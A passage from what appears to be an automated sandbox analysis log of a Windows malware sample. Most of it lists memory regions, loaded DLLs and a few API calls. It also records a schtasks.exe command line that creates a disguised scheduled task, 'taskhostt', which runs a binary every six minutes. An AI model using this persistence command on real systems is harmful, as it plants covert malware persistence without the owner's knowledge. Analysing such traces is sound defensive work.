0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4476 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5032 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5033 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5034 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5035 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5036 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5048 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5049 start_va = 0x280000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5050 start_va = 0x6e0000 end_va = 0x867fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 5051 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5052 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5053 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5054 start_va = 0x9a0000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 5055 start_va = 0xb30000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 5357 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5358 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5359 start_va = 0x400000 end_va = 0x4cffff monitored = 1 entry_point = 0x4cd67e region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe") Region: id = 5360 start_va = 0x400000 end_va = 0x4cffff monitored = 1 entry_point = 0x4cd67e region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe") Region: id = 5476 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5477 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5478 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5479 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5480 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5481 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5619 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 5620 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 5621 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5622 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5623 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5712 start_va = 0x7fe90830000 end_va = 0x7fe908bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5713 start_va = 0x7fe908c0000 end_va = 0x7fe9092ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908c0000" filename = "" Region: id = 5714 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5715 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5716 start_va = 0x1f30000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 5717 start_va = 0x2100000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 5718 start_va = 0x2380000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 5719 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5720 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5721 start_va = 0x2480000 end_va = 0x1a47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 5800 start_va = 0x1a480000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a480000" filename = "" Region: id = 5801 start_va = 0x1f30000 end_va = 0x2030fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 5802 start_va = 0x2080000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 5803 start_va = 0x1a8b0000 end_va = 0x1a9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 5804 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5844 start_va = 0x2110000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 5845 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 5846 start_va = 0x1a9b0000 end_va = 0x1aaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9b0000" filename = "" Region: id = 5847 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 5936 start_va = 0x1aab0000 end_va = 0x1ad7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6254 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6255 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6358 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6359 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6360 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6361 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6362 start_va = 0x1ad80000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6363 start_va = 0x1ad80000 end_va = 0x1ae5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad80000" filename = "" Region: id = 6364 start_va = 0x1af60000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af60000" filename = "" Region: id = 6365 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6366 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6367 start_va = 0x7fe90930000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90930000" filename = "" Region: id = 6414 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6415 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6421 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6422 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6423 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 6449 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6450 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6462 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6463 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6464 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 6465 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 6473 start_va = 0x1ae60000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae60000" filename = "" Thread: id = 171 os_tid = 0xfd8 [0188.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 248 os_tid = 0xb3c Thread: id = 257 os_tid = 0xd38 [0189.299] CoGetContextToken (in: pToken=0x1a9af310 | out: pToken=0x1a9af310) returned 0x800401f0 [0189.299] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 265 os_tid = 0xd94 Process: id = "32" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x417d0000" os_pid = "0xfdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2951 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2952 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2953 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2954 start_va = 0x220000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2955 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2956 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2957 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2958 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2959 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2960 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2961 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2962 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2963 start_va = 0x2a0000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2964 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2965 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2966 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2967 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2968 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2969 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2970 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2971 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2972 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2973 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2974 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2975 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2976 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2977 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2978 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2979 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2980 start_va = 0xc0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2981 start_va = 0xf0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2982 start_va = 0x1f0000 end_va = 0x218fff monitored = 0 entry_point = 0x1f1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2983 start_va = 0x520000 end_va = 0x6a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2984 start_va = 0x1f0000 end_va = 0x218fff monitored = 0 entry_point = 0x1f1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2985 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2986 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2987 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 2988 start_va = 0x840000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2989 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2990 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2991 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2992 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2993 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2994 start_va = 0x1c40000 end_va = 0x1f0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2996 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2997 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2998 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3000 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3001 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3002 start_va = 0x2a0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3004 start_va = 0x2a0000 end_va = 0x37efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 3005 start_va = 0x380000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3006 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3048 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 3049 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3050 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3051 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3052 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3053 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 3054 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3055 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3060 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 151 os_tid = 0xfe0 [0142.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29fd60 | out: lpSystemTimeAsFileTime=0x29fd60*(dwLowDateTime=0x23558f40, dwHighDateTime=0x1d8a92a)) [0142.321] GetCurrentProcessId () returned 0xfdc [0142.321] GetCurrentThreadId () returned 0xfe0 [0142.321] GetTickCount () returned 